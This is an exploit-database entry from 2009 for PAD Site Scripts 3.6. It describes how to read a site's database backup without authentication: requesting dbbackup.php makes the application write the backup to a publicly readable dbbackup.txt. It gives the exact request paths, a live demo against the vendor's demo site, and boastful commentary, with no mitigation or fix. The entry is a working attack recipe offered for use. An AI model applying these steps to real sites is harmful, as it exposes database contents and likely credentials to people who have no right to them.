PAD Site Scripts 3.6 Remote Arbitrary Database Backup Vulnerability

2009-06-01T00:00:00
ID 1337DAY-ID-5289
Type zdt
Reporter TiGeR-Dz
Modified 2009-06-01T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ===================================================================
PAD Site Scripts 3.6 Remote Arbitrary Database Backup Vulnerability
===================================================================


---------------------------------------------------------------
PAD Site Scripts v3.6 Bypass DB Backup Vulnerability
---------------------------------------------------------------
Founder : TiGeR-Dz
Home:http://www.pad-site-scripts.com
Script:PAD Site Scripts v3.6
Download:http://www.pad-site-scripts.com/demo.php
Thank you my best Friends The g0bL!N and Hisok4
---------------------------------------------------------------
Exploit
-------
www.site.com/[path]/dbbackup.php
Note: We can not download Backup Because This site is required name admin and password for download Backup
and We will read Backup Without Download
Go to www.site.com/dbbackup.txt

And booooooooooom The backup is reading :)
----------------------------------------------------------------
Dem0
----
http://demo.pad-site-scripts.com/sysop/dbbackup.php
Go to
http://demo.pad-site-scripts.com/dbbackup.txt

And booooooooooom The backup is reading :)
--------------------------------------



#  0day.today [2018-01-04]  #